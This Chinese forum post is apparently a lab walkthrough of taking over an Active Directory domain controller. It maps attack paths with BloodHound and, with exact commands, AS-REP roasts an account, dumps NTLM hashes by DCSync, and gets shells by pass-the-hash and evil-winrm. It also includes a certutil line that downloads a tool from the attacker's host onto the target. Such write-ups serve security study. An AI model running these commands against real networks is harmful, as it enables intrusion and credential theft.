电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2678 人浏览分享

利用BloodHound与Impacket进行域渗透实战

[复制链接]
2678 0
域渗透对于初学者来说 主要难点在于涉及域的基础理论知识较多 比如ACL访问控制 DcSync
权限黄金票据白银票据 Access Token 哈希传递等等。
本文利用BloodHound来进行域信息的收集 更重要的是通过该工具对域信息进行充分的挖掘与分析形成可行的
渗透思路遇到不懂的知识点,可以及时查阅相关资料 极大的提高了我们学习域渗透的效率。

在有了渗透思路后 我们利用Impacket工具包里的诸多域渗透相关工具进行实践即可。
本次域渗透背景为:通过前期web渗透 获取了一个域控服务器用户的账号及密码
sandra:Password1234! 但该用户权限较低 我们需要进一步渗透获取域控服务器管理员的权限。
为了保证渗透思路不被中断 其中涉及到域的一些知识点这里只做普及性的介绍
就不展开进行详细论述了 下面开始这次域渗透之旅。

端口扫描

QQ截图20210701113517.png

根据开放的端口 明显知道这是一个域控服务器 我们在换个工具扫描一波端口 防止端口漏扫。

masscan -p 1-65535 10.10.10.30 -e tun0 --rate=1000

QQ截图20210701113608.png

与nmap结果对比 新增了很多之前未发现的端口 比如:5985 如何利用后面会讲 这里即使没有
发现5985端口也不影响后续渗透的进行。

Impacket远程执行

既然已经有了一个用户的账号密码 sandra:Password1234! 想偷个懒看看能不能远程执行
就拿下域控服务器 尝试一波Impacker的远程执行脚本。
Impacket的安装

13809.png

Psexec.py:可提供完整的交互式控制台执行远程shell命令。

这里有个小技巧 因为密码中有!所以要进行转意字符的处理;

9999.png

wmiexec.py:可提供半交互式shell。

9998.png

atexec.py:通过Task Scheduler服务在目标计算机上执行命令 并返回已执行命令的输出。

9997.png

上述几个脚本都可以直接获取shell 属于直接能拿下服务器的工具 但这里不出意外 都没有成功
那我们还是老老实实来分析域信息吧。

域信息收集

这里我们采用的是Neo4j+Bloodhound的组合来采集和分析域信息 因此我们简单介绍下如何安装:

Neo4j的安装及启动

去Neo4j官网下载社区免费版:https://neo4j.com/download-center/#community

解压后启动 初始账号和密码均为neo4j 浏览器里访问http://localhost:7474 登录即可;

9996.png

Bloodhound的启动

直接下载 https://github.com/BloodHoundAD/BloodHound然后启动;

9995.png

用上面Neo4j的账号密码登录 数据库的地址用默认的就可以 不需要更改;

9992.png

域信息采集

Bloodhound自带有采集器的 一是powershell采集器脚本SharpHound.ps1 二是可执行文件SharpHound.exe
但都需要登录到目标机器后运行 这里我们采用一个可以远程采集域信息的工具
bloodhound.py 下载地址:https://github.com/fox-it/BloodHound.py。
安装命令:python3 setup.py install 安装完成后直接运行:
  1. bloodhound-python -d megacorp.local -u sandra -p "Password
  2. 1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30
复制代码

9991.png

得到4个文件 computers.json domains.json groups.json users.json 把生成的文件拖进Bloodhound;

990.png

加载完成后 点击Analysis就可以开始分析域信息了。

域信息分析

在开始分析之前 我们先简单了解下都可以分析出哪些结果;

999.png

我们实战中比较关注的点有:

Find all Domain Admins 查找所有域管理员
Find Shortest Paths to Domain Admins  查找域管理员的最短路径
Find Principals with DCSync Rights查找具有DCSync权限的主体
Users with Foreign Domain Group Membership 具有外域组成员身份的用户
Groups with Foreign Domain Group Membership  具有外域组成员身份的组
Map Domain Trusts 域信任映射图
Shortest Paths to Unconstrained Delegation Systems  不受约束的委派系统的最短路径
Shortest Paths from Kerberoastable Users 来自Kerberoastable用户的最短路径
Shortest Paths to Domain Admins from Kerberoastable Users可通过Kerberoastable用户访问域管理员的最短路径
Shortest Path from Owned Principals  已拥有权限最短路径
Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径

补充
绿色用户头像:用户
三个黄色头像:用户组
红色小电脑:计算机
绿色小地球:域
本次渗透的目标是拿下域控管理员我们先依次分析下数据:
Shortest Paths to High Value Targets 高价值目标的最短路径

899.png

查找具有DCSync权限的主体;

898.png

897.png

通往高价值目标的最短路径;

896.png

我们可以看到用户svc_bes对域具有GenericAll特权  这意味着该帐户可以从域控制器
请求复制数据 并获得敏感信息如用户哈希等信息。

895.png

点开这个用户查看一下 Node Info。发现 ASREP Roastable 是 True

893.png

查询下相关资料 AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式 其余2个用户均没有开启。

892.png

891.png

至此 我们便有了一个渗透思路 从用户svc_bes开始入手。

域渗透

GetNPUsers.py

GetNPUsers.py是Impacket工具包中的一个脚本 该脚本实现了将尝试为那些设置了属性 不需要Kerberos预身份验证
的用户获取TGT输出。TGT hash 包含用户密码 获取到之后直接用JTR或者hashcat破解即可。

GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

890.png

889.png

888.png

由此获得了用户svc_bes的密码为Sheffield19 后续我们可以使用Impacket的secretsdump.py
来执行DCSync攻击并转储所有域用户的NTLM哈希值。

secretsdump.py

secretsdump.py是Impacket工具包中的一个脚本 该脚本实现了多种不需要在远程主机
上执行任何代理的情况下转储机密数据的技术

secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30

887.png

至此得到了域管理员的NTLM哈希 我们可以在PTH攻击中使用它来获得对系统的更高访问权限
因此 我们可以使用Impacket的psexec.py来实现提权。

提权

psexec.py

psexec.py是Impacket工具包中的一个脚本 该脚本实现了在远程Windows系统上执行进程 复制文件并返
回处理输出结果 此外 它还允许直接使用完整的交互式控制台执行远程shell命令。

语法:

psexec.py megacorp.local/administrator@10.10.10.30 -hashes <NTML hash>:<NTLM hash>

886.png

总结

看下整个渗透过程的流程图 方便于理清渗透思路;

QQ截图20210701115935.png

彩蛋

之前发现5985端口是开放的 可以利用工具evil-winrm直接进行连接。

evil-winrm
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。此程序可在启用此功能的任何Microsoft Windows
服务器上使用 通常端口为5985 当然只有在你具有使用凭据和权限时才能使用。
安装:gem install evil-winrm
最初的用户sandra可以直连后获得shell的 只不过权限太低 所以要想办法切换到其他用户;

883.png

882.png

后续的用户svc_bes也可以用该工具直连获取shell;

881.png

管理员Administrator也可以直连获取shell;

880.png

运用Bloodhound自带采集器

当连接上后 就可以运行Bloodhound自带的采集器了;

先在kali上搭建一个web服务;

799.png

远程下载后运行;

certutil.exe -urlcache -split -f "http://10.10.16.66:8000/Sh
arpHound.exe" SharpHound.exe

669.png

程序运行后成功;

668.png

换成powershell脚本试试;

666.png

运行脚本;

662.png

成功采集到信息下载下来看看;

6.png

导入BloodHound就可以分析了。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.